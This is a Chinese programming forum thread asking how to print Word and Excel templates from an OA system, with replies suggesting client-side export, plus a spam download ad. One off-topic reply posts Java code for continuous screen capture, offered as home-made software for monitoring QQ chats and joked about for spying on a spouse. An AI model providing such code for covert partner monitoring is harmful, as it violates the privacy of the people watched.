公司最近要做一个OA,需要做一个打印文件的功能。大概是服务端保存一个文件模板,如:word、excel这类文件。然后通过程序动态的去修改这类文件的内容。最后用打印机打印纸质文件。
由于打印必须连接本地的打印机,那么像服务端的打印实现,如:javax.print.*这些包和子包就直接排除了。那么只能js实现调用打印机的功能。但是js调用打印机确实功能有限,完全不能满足OA中复杂的打印需求。因为以前没做过OA,所以求求各位大神指点指点!!!

解决方案 »

  1.   


    前两天朋友给我发了一个监控Q聊天记录的一个软件。。但是这软件只有一天的试用期限,过了使用期限就要收费,还不便宜大概160左右,于是决定自己写个玩玩。。就花了点时间去弄了下,不过只有屏幕监控,键盘键盘没有写,如果要写应该也不难。共享给大家玩玩吧。可以拿回去监控老婆出轨,哈哈哈哈。
    import java.awt.Rectangle;
    import java.awt.Robot;
    import java.awt.Toolkit;
    import java.awt.image.BufferedImage;
    import java.io.FileOutputStream;import javax.imageio.ImageIO;
    /**
     * 
     * @author NEO
     */
    public class MonitorScreen {
    public static void getScreenImg(String dir) throws Exception{
    Toolkit tk = Toolkit.getDefaultToolkit();
    Robot robot = new Robot();
    int i = 0;
    while(true){
    Rectangle rec = new Rectangle(tk.getScreenSize());
    BufferedImage buf = robot.createScreenCapture(rec);
    buf.flush();
    Thread.sleep(50);
    FileOutputStream fos = new FileOutputStream(dir+i++ +".jpg");
    ImageIO.write(buf, "jpg", fos);
    fos.flush();
    fos.close();
    }
    }
    public static void main(String[] args) throws Exception {
    getScreenImg("d:/img/");
    }
    }
    import java.awt.BorderLayout;
    import java.awt.Font;
    import java.awt.event.ActionEvent;
    import java.awt.event.ActionListener;
    import java.io.File;import javax.swing.ImageIcon;
    import javax.swing.JButton;
    import javax.swing.JFrame;
    import javax.swing.JLabel;
    import javax.swing.JPanel;
    /**
     * @author NEO
     *
     */
    public class BroadcastImage {
    public static void broadcast(String dir) throws Exception{
    int i = 0;
    JFrame jf = new JFrame("放映");
    JLabel jl = new JLabel();
    JButton jb = new JButton("暂停");
    jb.addActionListener(new ActionListener(){ @Override
    public void actionPerformed(ActionEvent e) {
    }

    });
    JButton jb2 = new JButton("播放");
    jb2.addActionListener(new ActionListener(){ @Override
    public void actionPerformed(ActionEvent e) {
    }

    });
    JPanel jp = new JPanel();
    jp.add(jb);
    jp.add(jb2);
    jf.add(jl);
    jf.add(jp,BorderLayout.SOUTH);
    jf.setLocation(400,100);
    jf.setSize(600,600);
    jf.setVisible(true);
    jf.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    File file = new File(dir);
    if(file.exists()&&file.isDirectory()){
    for(;i<file.list().length;i++){
    Thread.sleep(100);
    jl.setIcon(new ImageIcon(dir+i +".jpg"));
    }
    jl.setFont(new Font(Font.MONOSPACED,Font.BOLD,25));
    jl.setText("The end!");
    }else{
    jl.setFont(new Font(Font.MONOSPACED,Font.BOLD,25));
    jl.setText("请选择正确的文件路径");
    }

    }
    public static void main(String[] args) throws Exception {
    broadcast("d:/img/");
    }
    }
      

  2.   

    做OA解决打印问题最妥善的解决办法是将内容写入客户端的word  excel 或者PDF文档,他们爱怎么打印就怎么打印,还解决了红头文件等问题
      

  3.   


    这个确实用的很多,我们这边也在用但是,office控件又是一个问题,开源的不好用,不开源的又需要money
      

  4.   

    想要相关语言的所有资料吗?java,c++,c#,html,javascript,javaweb,sqlserver,oracle,jquery,Linux,等等等等,程序员必备的学习资料,快来看看吧。
    我的压缩包里面不止一两样东西哦,那可是我学习和工作的所有资料,不管是学习还是工作都会需要。
    http://download.csdn.net/user/yangtonghai